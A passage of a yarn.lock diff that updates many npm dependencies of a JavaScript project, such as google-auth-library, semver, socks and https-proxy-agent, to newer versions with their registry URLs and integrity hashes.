sha512-2EmdH1YvIQiZpltCNgkuiUnyukzxM/R6NDJX31Ke3BG1Nq5b0S2PhX59UKi9vZpPDQVdqn+1IcaAwnzTT5vCjw== +get-symbol-description@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/get-symbol-description/-/get-symbol-description-1.0.2.tgz#533744d5aa20aca4e079c8e5daf7fd44202821f5" + integrity sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg== dependencies: - call-bind "^1.0.2" - get-intrinsic "^1.1.1" + call-bind "^1.0.5" + es-errors "^1.3.0" + get-intrinsic "^1.2.4" get-value@^2.0.3, get-value@^2.0.6: version "2.0.6" @@ -5330,9 +5355,9 @@ globalthis@^1.0.3: define-properties "^1.1.3" google-auth-library@^9.0.0: - version "9.5.0" - resolved "https://registry.yarnpkg.com/google-auth-library/-/google-auth-library-9.5.0.tgz#fd97b78bc1512025b9c9ad3998c60e2d75b6137e" - integrity sha512-OUbP509lWVlZxuMY+Cgomw49VzZFP9myIcVeYEpeBlbXJbPC4R+K4BmO9hd3ciYM5QIwm5W1PODcKjqxtkye9Q== + version "9.6.3" + resolved "https://registry.yarnpkg.com/google-auth-library/-/google-auth-library-9.6.3.tgz#add8935bc5b842a8e80f84fef2b5ed9febb41d48" + integrity sha512-4CacM29MLC2eT9Cey5GDVK4Q8t+MMp8+OEdOaqD9MG6b0dOyLORaaeJMPQ7EESVgm/+z5EKYyFLxgzBJlJgyHQ== dependencies: base64-js "^1.3.0" ecdsa-sig-formatter "^1.0.11" @@ -5452,9 +5477,9 @@ grunt@^1.0.1: nopt "~3.0.6" gtoken@^7.0.0: - version "7.0.1" - resolved "https://registry.yarnpkg.com/gtoken/-/gtoken-7.0.1.tgz#b64bd01d88268ea3a3572c9076a85d1c48f1a455" - integrity sha512-KcFVtoP1CVFtQu0aSk3AyAt2og66PFhZAlkUOuWKwzMLoulHXG5W5wE5xAnHb+yl3/wEFoqGW7/cDGMU8igDZQ== + version "7.1.0" + resolved "https://registry.yarnpkg.com/gtoken/-/gtoken-7.1.0.tgz#d61b4ebd10132222817f7222b1e6064bd463fc26" + integrity sha512-pCcEwRi+TKpMlxAQObHDQ56KawURgyAf6jtIY046fJ5tIv3zDe/LEIubckAO8fj6JnAxLdmWkUfNyulQ2iKdEw== dependencies: gaxios "^6.0.0" jws "^4.0.0" @@ -5548,29 +5573,29 @@ has-flag@^4.0.0: resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b" integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ== -has-property-descriptors@^1.0.0, has-property-descriptors@^1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/has-property-descriptors/-/has-property-descriptors-1.0.1.tgz#52ba30b6c5ec87fd89fa574bc1c39125c6f65340" - integrity sha512-VsX8eaIewvas0xnvinAe9bw4WfIeODpGYikiWYLH+dma0Jw6KHYqWiWfhQlgOVK8D6PvjubK5Uc4P0iIhIcNVg== +has-property-descriptors@^1.0.0, has-property-descriptors@^1.0.1, has-property-descriptors@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz#963ed7d071dc7bf5f084c5bfbe0d1b6222586854" + integrity sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg== dependencies: - get-intrinsic "^1.2.2" + es-define-property "^1.0.0" -has-proto@^1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/has-proto/-/has-proto-1.0.1.tgz#1885c1305538958aff469fef37937c22795408e0" - integrity sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg== +has-proto@^1.0.1, has-proto@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/has-proto/-/has-proto-1.0.3.tgz#b31ddfe9b0e6e9914536a6ab286426d0214f77fd" + integrity sha512-SJ1amZAJUiZS+PhsVLf5tGydlaVB8EdFpaSO4gmiUKUOxk8qzn5AIy4ZeJUmh22znIdk/uMAUT2pl3FxzVUH+Q== has-symbols@^1.0.2, has-symbols@^1.0.3: version "1.0.3" resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.3.tgz#bb7b2c4349251dce87b125f7bdf874aa7c8b39f8" integrity sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A== -has-tostringtag@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/has-tostringtag/-/has-tostringtag-1.0.0.tgz#7e133818a7d394734f941e73c3d3f9291e658b25" - integrity sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ== +has-tostringtag@^1.0.0, has-tostringtag@^1.0.1, has-tostringtag@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/has-tostringtag/-/has-tostringtag-1.0.2.tgz#2cdc42d40bef2e5b4eeab7c01a73c54ce7ab5abc" + integrity sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw== dependencies: - has-symbols "^1.0.2" + has-symbols "^1.0.3" has-unicode@^2.0.1: version "2.0.1" @@ -5624,10 +5649,10 @@ hasha@^3.0.0: dependencies: is-stream "^1.0.1" -hasown@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/hasown/-/hasown-2.0.0.tgz#f4c513d454a57b7c7e1650778de226b11700546c" - integrity sha512-vUptKVTpIJhcczKBbgnS+RtcuYMB8+oNzPK2/Hp3hanz8JmpATdmmgLgSaadVREkDm+e2giHwY3ZRkyjSIDDFA== +hasown@^2.0.0, hasown@^2.0.1: + version "2.0.1" + resolved "https://registry.yarnpkg.com/hasown/-/hasown-2.0.1.tgz#26f48f039de2c0f8d3356c223fb8d50253519faa" + integrity sha512-1/th4MHjnwncwXsIW6QMzlvYL9kG5e/CpVvLRZe4XPa8TOUNbCELqmvhDmnkNsAjwaG4+I8gJJL0JBvTTLO9qA== dependencies: function-bind "^1.1.2" @@ -5812,7 +5837,7 @@ httpreq@*: resolved "https://registry.yarnpkg.com/httpreq/-/httpreq-1.1.1.tgz#b8818316cdfd6b1bfb0f68b822fa1306cd24be68" integrity sha512-uhSZLPPD2VXXOSN8Cni3kIsoFHaU2pT/nySEU/fHr/ePbqHYr0jeiQRmUKLEirC09SFPsdMoA7LU7UXMd/w0Kw== -https-proxy-agent@7.0.2, https-proxy-agent@^7.0.0, https-proxy-agent@^7.0.1: +https-proxy-agent@7.0.2: version "7.0.2" resolved "https://registry.yarnpkg.com/https-proxy-agent/-/https-proxy-agent-7.0.2.tgz#e2645b846b90e96c6e6f347fb5b2e41f1590b09b" integrity sha512-NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA== @@ -5828,6 +5853,14 @@ https-proxy-agent@^5.0.0, https-proxy-agent@^5.0.1: agent-base "6" debug "4" +https-proxy-agent@^7.0.0, https-proxy-agent@^7.0.1: + version "7.0.4" + resolved "https://registry.yarnpkg.com/https-proxy-agent/-/https-proxy-agent-7.0.4.tgz#8e97b841a029ad8ddc8731f26595bad868cb4168" + integrity sha512-wlwpilI7YdjSkWaQ/7omYBMTliDcmCN8OLihO6I9B86g06lMyAoqgoDpV0XqoaPOKj+0DIdAvnsWfyAAhmimcg== + dependencies: + agent-base "^7.0.2" + debug "4" + humanize-ms@^1.2.1: version "1.2.1" resolved "https://registry.yarnpkg.com/humanize-ms/-/humanize-ms-1.2.1.tgz#c46e3159a293f6b896da29316d8b6fe8bb79bbed" @@ -5928,12 +5961,12 @@ inquirer@^0.12.0: strip-ansi "^3.0.0" through "^2.3.6" -internal-slot@^1.0.5: - version "1.0.6" - resolved "https://registry.yarnpkg.com/internal-slot/-/internal-slot-1.0.6.tgz#37e756098c4911c5e912b8edbf71ed3aa116f930" - integrity sha512-Xj6dv+PsbtwyPpEflsejS+oIZxmMlV44zAhG479uYu89MsjcYOhCFnNyKrkJrihbsiasQyY0afoCl/9BLR65bg== +internal-slot@^1.0.7: + version "1.0.7" + resolved "https://registry.yarnpkg.com/internal-slot/-/internal-slot-1.0.7.tgz#c06dcca3ed874249881007b0a5523b172a190802" + integrity sha512-NGnrKwXzSms2qUUih/ILZ5JBqNTSa1+ZmP6flaIp6KmSElgE9qdndzS3cqjrDovwFdmwsGsLdeFgB6suw+1e9g== dependencies: - get-intrinsic "^1.2.2" + es-errors "^1.3.0" hasown "^2.0.0" side-channel "^1.0.4" @@ -5962,10 +5995,13 @@ ip-address@^7.1.0: jsbn "1.1.0" sprintf-js "1.1.2" -ip@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/ip/-/ip-2.0.0.tgz#4cf4ab182fee2314c75ede1276f8c80b479936da" - integrity sha512-WKa+XuLG1A1R0UWhl2+1XQSi+fZWMsYKffMZTTYsiZaUD8k2yDAj5atimTUD2TZkyCkNEeYE5NhFZmupOGtjYQ== +ip-address@^9.0.5: + version "9.0.5" + resolved "https://registry.yarnpkg.com/ip-address/-/ip-address-9.0.5.tgz#117a960819b08780c3bd1f14ef3c1cc1d3f3ea5a" + integrity sha512-zHtQzGojZXTwZTHQqra+ETKd4Sn3vgi7uBmlPoXVWZqYvuKmtI0l/VZTjqGmJY9x88GGOaZ9+G9ES8hC4T4X8g== + dependencies: + jsbn "1.1.0" + sprintf-js "^1.1.3" ipaddr.js@1.9.1: version "1.9.1" @@ -5992,14 +6028,13 @@ is-accessor-descriptor@^1.0.1: dependencies: hasown "^2.0.0" -is-array-buffer@^3.0.1, is-array-buffer@^3.0.2: - version "3.0.2" - resolved "https://registry.yarnpkg.com/is-array-buffer/-/is-array-buffer-3.0.2.tgz#f2653ced8412081638ecb0ebbd0c41c6e0aecbbe" - integrity sha512-y+FyyR/w8vfIRq4eQcM1EYgSTnmHXPqaF+IgzgraytCFq5Xh8lllDVmAZolPJiZttZLeFSINPYMaEJ7/vWUa1w== +is-array-buffer@^3.0.4: + version "3.0.4" + resolved "https://registry.yarnpkg.com/is-array-buffer/-/is-array-buffer-3.0.4.tgz#7a1f92b3d61edd2bc65d24f130530ea93d7fae98" + integrity sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw== dependencies: call-bind "^1.0.2" - get-intrinsic "^1.2.0" - is-typed-array "^1.1.10" + get-intrinsic "^1.2.1" is-arrayish@^0.2.1: version "0.2.1" @@ -6163,9 +6198,9 @@ is-lambda@^1.0.1: integrity sha512-z7CMFGNrENq5iFB9Bqo64Xk6Y9sg+epq1myIcdHaGnbMTYOxvzsEtdYqQUylB7LxfkvgrrjP32T6Ywciio9UIQ== is-negative-zero@^2.0.2: - version "2.0.2" - resolved "https://registry.yarnpkg.com/is-negative-zero/-/is-negative-zero-2.0.2.tgz#7bf6f03a28003b8b3965de3ac26f664d765f3150" - integrity sha512-dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA== + version "2.0.3" + resolved "https://registry.yarnpkg.com/is-negative-zero/-/is-negative-zero-2.0.3.tgz#ced903a027aca6381b777a5743069d7376a49747" + integrity sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw== is-number-object@^1.0.4: version "1.0.7" @@ -6241,11 +6276,11 @@ is-relative@^1.0.0: is-unc-path "^1.0.0" is-shared-array-buffer@^1.0.2: - version "1.0.2" - resolved "https://registry.yarnpkg.com/is-shared-array-buffer/-/is-shared-array-buffer-1.0.2.tgz#8f259c573b60b6a32d4058a1a07430c0a7344c79" - integrity sha512-sqN2UDu1/0y6uvXyStCOzyhAjCSlHceFoMKJW8W9EU9cvic/QdsZ0kEU93HEy3IUEFZIiH/3w+AH/UQbPHNdhA== + version "1.0.3" + resolved "https://registry.yarnpkg.com/is-shared-array-buffer/-/is-shared-array-buffer-1.0.3.tgz#1237f1cba059cdb62431d378dcc37d9680181688" + integrity sha512-nA2hv5XIhLR3uVzDDfCIknerhx8XUKnstuOERPNNIinXG7v9u+ohXF67vxm4TPTEPU6lm61ZkwP3c9PCB97rhg== dependencies: - call-bind "^1.0.2" + call-bind "^1.0.7" is-stream@^1.0.1: version "1.1.0" @@ -6271,12 +6306,12 @@ is-symbol@^1.0.2, is-symbol@^1.0.3: dependencies: has-symbols "^1.0.2" -is-typed-array@^1.1.10, is-typed-array@^1.1.12, is-typed-array@^1.1.9: - version "1.1.12" - resolved "https://registry.yarnpkg.com/is-typed-array/-/is-typed-array-1.1.12.tgz#d0bab5686ef4a76f7a73097b95470ab199c57d4a" - integrity sha512-Z14TF2JNG8Lss5/HMqt0//T9JeHXttXy5pH/DBU4vi98ozO2btxzq9MwYDZYnKwU8nRsz/+GVFVRDq3DkVuSPg== +is-typed-array@^1.1.13: + version "1.1.13" + resolved "https://registry.yarnpkg.com/is-typed-array/-/is-typed-array-1.1.13.tgz#d6c5ca56df62334959322d7d7dd1cca50debe229" + integrity sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw== dependencies: - which-typed-array "^1.1.11" + which-typed-array "^1.1.14" is-typedarray@^1.0.0, is-typedarray@~1.0.0: version "1.0.0" @@ -6400,13 +6435,13 @@ istanbul-reports@^2.2.4: html-escaper "^2.0.0" joi@^17.9.2: - version "17.12.0" - resolved "https://registry.yarnpkg.com/joi/-/joi-17.12.0.tgz#a3fb5715f198beb0471cd551dd26792089c308d5" - integrity sha512-HSLsmSmXz+PV9PYoi3p7cgIbj06WnEBNT28n+bbBNcPZXZFqCzzvGqpTBPujx/Z0nh1+KNQPDrNgdmQ8dq0qYw== + version "17.12.1" + resolved "https://registry.yarnpkg.com/joi/-/joi-17.12.1.tgz#3347ecf4cd3301962d42191c021b165eef1f395b" + integrity sha512-vtxmq+Lsc5SlfqotnfVjlViWfOL9nt/avKNbKYizwf6gsCfq9NYY/ceYRMFD8XDdrjJ9abJyScWmhmIiy+XRtQ== dependencies: "@hapi/hoek" "^9.3.0" "@hapi/topo" "^5.1.0" - "@sideway/address" "^4.1.4" + "@sideway/address" "^4.1.5" "@sideway/formula" "^3.0.1" "@sideway/pinpoint" "^2.0.0" @@ -7774,6 +7809,11 @@ oauth-sign@~0.9.0: resolved "https://registry.yarnpkg.com/oauth-sign/-/oauth-sign-0.9.0.tgz#47a7b016baa68b5fa0ecf3dee08a85c679ac6455" integrity sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ== +oauth@0.10.x: + version "0.10.0" + resolved "https://registry.yarnpkg.com/oauth/-/oauth-0.10.0.tgz#3551c4c9b95c53ea437e1e21e46b649482339c58" + integrity sha512-1orQ9MT1vHFGQxhuy7E/0gECD3fd2fCC+PIX+/jgmU/gI3EpRocXtmtvxCO5x3WZ443FLTLFWNDjl5MPJf9u+Q== + oauth@0.9.x: version "0.9.15" resolved "https://registry.yarnpkg.com/oauth/-/oauth-0.9.15.tgz#bd1fefaf686c96b75475aed5196412ff60cfb9c1" @@ -7803,7 +7843,7 @@ object-hash@^2.2.0: resolved "https://registry.yarnpkg.com/object-hash/-/object-hash-2.2.0.tgz#5ad518581eefc443bd763472b8ff2e9c2c0d54a5" integrity sha512-gScRMn0bS5fH+IuwyIFgnh9zBdo4DV+6GhygmWM9HyNJSgS0hScp1f5vjtm7oIIOiT9trXrShAkLFSc2IqKNgw== -object-inspect@^1.13.1, object-inspect@^1.9.0: +object-inspect@^1.13.1: version "1.13.1" resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.13.1.tgz#b96c6109324ccfef6b12216a956ca4dc2ff94bc2" integrity sha512-5qoj1RUiKOMsCCNLV1CBiPYE10sziTsnmNxkAI/rZhiD63CF7IqdFGC/XzjWjpSgLf0LxXX3bDFIh0E18f6UhQ== @@ -7844,7 +7884,7 @@ object-visit@^1.0.0: dependencies: isobject "^3.0.0" -object.assign@^4.1.4: +object.assign@^4.1.5: version "4.1.5" resolved "https://registry.yarnpkg.com/object.assign/-/object.assign-4.1.5.tgz#3a833f9ab7fdb80fc9e8d2300c803d216d8fdbb0" integrity sha512-byy+U7gp+FVwmyzKPYhW2h5l3crpmGsxl7X2s8y43IgxvG4g3QZ6CffDtsNQy1WsmZpQbO+ybo0AlW7TY6DcBQ== @@ -8157,12 +8197,12 @@ passport-oauth1@1.x.x: utils-merge "1.x.x" passport-oauth2@1.x.x, passport-oauth2@^1.6: - version "1.7.0" - resolved "https://registry.yarnpkg.com/passport-oauth2/-/passport-oauth2-1.7.0.tgz#5c4766c8531ac45ffe9ec2c09de9809e2c841fc4" - integrity sha512-j2gf34szdTF2Onw3+76alNnaAExlUmHvkc7cL+cmaS5NzHzDP/BvFHJruueQ9XAeNOdpI+CH+PWid8RA7KCwAQ== + version "1.8.0" + resolved "https://registry.yarnpkg.com/passport-oauth2/-/passport-oauth2-1.8.0.tgz#55725771d160f09bbb191828d5e3d559eee079c8" + integrity sha512-cjsQbOrXIDE4P8nNb3FQRCCmJJ/utnFKEz2NX209f7KOHPoX18gF7gBzBbLLsj2/je4KrgiwLLGjf0lm9rtTBA== dependencies: base64url "3.x.x" - oauth "0.9.x" + oauth "0.10.x" passport-strategy "1.x.x" uid2 "0.0.x" utils-merge "1.x.x" @@ -8457,6 +8497,11 @@ posix-character-classes@^0.1.0: resolved "https://registry.yarnpkg.com/posix-character-classes/-/posix-character-classes-0.1.1.tgz#01eac0fe3b5af71a2a6c02feabb8c1fef7e00eab" integrity sha512-xTgYBc3fuo7Yt7JbiuFxSYGToMoz8fLoE6TC9Wx1P/u+LfeThMOAqmuyECnlBaaJb+u1m9hHiXUEtwW4OzfUJg== +possible-typed-array-names@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/possible-typed-array-names/-/possible-typed-array-names-1.0.0.tgz#89bb63c6fada2c3e90adc4a647beeeb39cc7bf8f" + integrity sha512-d7Uw+eZoloe0EHDIYoe+bQ5WXnGMOpmiZFTuMWCwpjzzkL2nTjcKiAk4hh8TjnGye2TwWOk3UXucZ+3rbmBa8Q== + postgres-array@~2.0.0: version "2.0.0" resolved "https://registry.yarnpkg.com/postgres-array/-/postgres-array-2.0.0.tgz#48f8fce054fbc69671999329b8834b772652d82e" @@ -8855,14 +8900,15 @@ regex-not@^1.0.0, regex-not@^1.0.2: extend-shallow "^3.0.2" safe-regex "^1.1.0" -regexp.prototype.flags@^1.5.1: - version "1.5.1" - resolved "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.5.1.tgz#90ce989138db209f81492edd734183ce99f9677e" - integrity sha512-sy6TXMN+hnP/wMy+ISxg3krXx7BAtWVO4UouuCN/ziM9UEne0euamVNafDfvC83bRNr95y0V5iijeDQFUNpvrg== +regexp.prototype.flags@^1.5.2: + version "1.5.2" + resolved "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.5.2.tgz#138f644a3350f981a858c44f6bb1a61ff59be334" + integrity sha512-NcDiDkTLuPR+++OCKB0nWafEmhg/Da8aUPLPMQbK+bxKKCm1/S5he+AqYa4PlMCVBalb4/yxIRub6qkEx5yJbw== dependencies: - call-bind "^1.0.2" - define-properties "^1.2.0" - set-function-name "^2.0.0" + call-bind "^1.0.6" + define-properties "^1.2.1" + es-errors "^1.3.0" + set-function-name "^2.0.1" regexpu-core@^2.0.0: version "2.0.0" @@ -9114,7 +9160,7 @@ rx-lite@^3.1.2: dependencies: tslib "^2.1.0" -safe-array-concat@^1.0.0, safe-array-concat@^1.0.1: +safe-array-concat@^1.0.0, safe-array-concat@^1.1.0: version "1.1.0" resolved "https://registry.yarnpkg.com/safe-array-concat/-/safe-array-concat-1.1.0.tgz#8d0cae9cb806d6d1c06e08ab13d847293ebe0692" integrity sha512-ZdQ0Jeb9Ofti4hbt5lX3T2JcAamT9hfzYU1MNB+z/jaEbB6wfFfPIR/zEORmZqobkCCJhSjodobH6WHNmJ97dg== @@ -9134,13 +9180,13 @@ safe-buffer@5.2.1, safe-buffer@^5.0.1, safe-buffer@^5.1.0, safe-buffer@^5.1.1, s resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6" integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ== -safe-regex-test@^1.0.0: - version "1.0.2" - resolved "https://registry.yarnpkg.com/safe-regex-test/-/safe-regex-test-1.0.2.tgz#3ba32bdb3ea35f940ee87e5087c60ee786c3f6c5" - integrity sha512-83S9w6eFq12BBIJYvjMux6/dkirb8+4zJRA9cxNBVb7Wq5fJBW+Xze48WqR8pxua7bDuAaaAxtVVd4Idjp1dBQ== +safe-regex-test@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/safe-regex-test/-/safe-regex-test-1.0.3.tgz#a5b4c0f06e0ab50ea2c395c14d8371232924c377" + integrity sha512-CdASjNJPvRa7roO6Ra/gLYBTzYzzPyyBXxIMdGW3USQLyjWEls2RgW5UBTXaQVp+OrpeCK3bLem8smtmheoRuw== dependencies: - call-bind "^1.0.5" - get-intrinsic "^1.2.2" + call-bind "^1.0.6" + es-errors "^1.3.0" is-regex "^1.1.4" safe-regex@^1.1.0: @@ -9214,7 +9260,7 @@ scmp@^2.1.0: resolved "https://registry.yarnpkg.com/semver/-/semver-5.7.2.tgz#48d55db737c3287cd4835e17fa13feace1c41ef8" integrity sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g== -semver@7.5.4, semver@^7.3.5, semver@^7.5.4: +semver@7.5.4: version "7.5.4" resolved "https://registry.yarnpkg.com/semver/-/semver-7.5.4.tgz#483986ec4ed38e1c6c48c34894a9182dbff68a6e" integrity sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA== @@ -9226,6 +9272,13 @@ semver@^6.0.0, semver@^6.3.1: resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.1.tgz#556d2ef8689146e46dcea4bfdd095f3434dffcb4" integrity sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA== +semver@^7.3.5, semver@^7.5.4: + version "7.6.0" + resolved "https://registry.yarnpkg.com/semver/-/semver-7.6.0.tgz#1a46a4db4bffcccd97b743b5005c8325f23d4e2d" + integrity sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg== + dependencies: + lru-cache "^6.0.0" + send@0.18.0: version "0.18.0" resolved "https://registry.yarnpkg.com/send/-/send-0.18.0.tgz#670167cc654b05f5aa4a767f9113bb371bc706be" @@ -9265,25 +9318,27 @@ set-blocking@^2.0.0: resolved "https://registry.yarnpkg.com/set-blocking/-/set-blocking-2.0.0.tgz#045f9782d011ae9a6803ddd382b24392b3d890f7" integrity sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw== -set-function-length@^1.1.1: - version "1.2.0" - resolved "https://registry.yarnpkg.com/set-function-length/-/set-function-length-1.2.0.tgz#2f81dc6c16c7059bda5ab7c82c11f03a515ed8e1" - integrity sha512-4DBHDoyHlM1IRPGYcoxexgh67y4ueR53FKV1yyxwFMY7aCqcN/38M1+SwZ/qJQ8iLv7+ck385ot4CcisOAPT9w== +set-function-length@^1.2.1: + version "1.2.1" + resolved "https://registry.yarnpkg.com/set-function-length/-/set-function-length-1.2.1.tgz#47cc5945f2c771e2cf261c6737cf9684a2a5e425" + integrity sha512-j4t6ccc+VsKwYHso+kElc5neZpjtq9EnRICFZtWyBsLojhmeF/ZBd/elqm22WJh/BziDe/SBiOeAt0m2mfLD0g== dependencies: - define-data-property "^1.1.1" + define-data-property "^1.1.2" + es-errors "^1.3.0" function-bind "^1.1.2" - get-intrinsic "^1.2.2" + get-intrinsic "^1.2.3" gopd "^1.0.1" has-property-descriptors "^1.0.1" -set-function-name@^2.0.0: - version "2.0.1" - resolved "https://registry.yarnpkg.com/set-function-name/-/set-function-name-2.0.1.tgz#12ce38b7954310b9f61faa12701620a0c882793a" - integrity sha512-tMNCiqYVkXIZgc2Hnoy2IvC/f8ezc5koaRFkCjrpWzGpCd3qbZXPzVy9MAZzK1ch/X0jvSkojys3oqJN0qCmdA== +set-function-name@^2.0.1: + version "2.0.2" + resolved "https://registry.yarnpkg.com/set-function-name/-/set-function-name-2.0.2.tgz#16a705c5a0dc2f5e638ca96d8a8cd4e1c2b90985" + integrity sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ== dependencies: - define-data-property "^1.0.1" + define-data-property "^1.1.4" + es-errors "^1.3.0" functions-have-names "^1.2.3" - has-property-descriptors "^1.0.0" + has-property-descriptors "^1.0.2" set-value@^2.0.0, set-value@^2.0.1: version "2.0.1" @@ -9323,13 +9378,14 @@ shortid@^2.2.14: nanoid "^2.1.0" side-channel@^1.0.4: - version "1.0.4" - resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.0.4.tgz#efce5c8fdc104ee751b25c58d4290011fa5ea2cf" - integrity sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw== + version "1.0.5" + resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.0.5.tgz#9a84546599b48909fb6af1211708d23b1946221b" + integrity sha512-QcgiIWV4WV7qWExbN5llt6frQB/lBven9pqliLXfGPB+K9ZYXxDozp0wLkHS24kWCm+6YXH/f0HhnObZnZOBnQ== dependencies: - call-bind "^1.0.0" - get-intrinsic "^1.0.2" - object-inspect "^1.9.0" + call-bind "^1.0.6" + es-errors "^1.3.0" + get-intrinsic "^1.2.4" + object-inspect "^1.13.1" signal-exit@^3.0.0, signal-exit@^3.0.2, signal-exit@^3.0.7: version "3.0.7" @@ -9410,11 +9466,11 @@ socks-proxy-agent@^6.0.0: socks "^2.6.2" socks@^2.6.2, socks@^2.7.1: - version "2.7.1" - resolved "https://registry.yarnpkg.com/socks/-/socks-2.7.1.tgz#d8e651247178fde79c0663043e07240196857d55" - integrity sha512-7maUZy1N7uo6+WVEX6psASxtNlKaNVMlGQKkG/63nEDdLOWNbiUMoLK7X4uYoLhQstau72mLgfEWcXcwsaHbYQ== + version "2.7.3" + resolved "https://registry.yarnpkg.com/socks/-/socks-2.7.3.tgz#7d8a75d7ce845c0a96f710917174dba0d543a785" + integrity sha512-vfuYK48HXCTFD03G/1/zkIls3Ebr2YNa4qU9gHDZdblHLiqhJrJGkY3+0Nx0JpN9qBhJbVObc1CNciT1bIZJxw== dependencies: - ip "^2.0.0" + ip-address "^9.0.5" smart-buffer "^4.2.0" sort-array@^1.0.0: @@ -9502,9 +9558,9 @@ spdx-correct@^3.0.0: spdx-license-ids "^3.0.0" spdx-exceptions@^2.1.0: - version "2.4.0" - resolved "https://registry.yarnpkg.com/spdx-exceptions/-/spdx-exceptions-2.4.0.tgz#c07a4ede25b16e4f78e6707bbd84b15a45c19c1b" - integrity sha512-hcjppoJ68fhxA/cjbN4T8N6uCUejN8yFw69ttpqtBeCbF3u13n7mb31NB9jKwGTTWWnt9IbRA/mf1FprYS8wfw== + version "2.5.0" + resolved "https://registry.yarnpkg.com/spdx-exceptions/-/spdx-exceptions-2.5.0.tgz#5d607d27fc806f66d7b64a766650fa890f04ed66" + integrity sha512-PiU42r+xO4UbUS1buo3LPJkjlO7430Xn5SVAhdpzzsPHsjbYVflnnFdATgabnLude+Cqu25p6N+g2lw/PFsa4w== spdx-expression-parse@^3.0.0: version "3.0.1" @@ -9515,9 +9571,9 @@ spdx-expression-parse@^3.0.0: spdx-license-ids "^3.0.0" spdx-license-ids@^3.0.0: - version "3.0.16" - resolved "https://registry.yarnpkg.com/spdx-license-ids/-/spdx-license-ids-3.0.16.tgz#a14f64e0954f6e25cc6587bd4f392522db0d998f" - integrity sha512-eWN+LnM3GR6gPu35WxNgbGl8rmY1AEmoMDvL/QD6zYmPWgywxWqJWNdLGT+ke8dKNWrcYgYjPpG5gbTfghP8rw== + version "3.0.17" + resolved 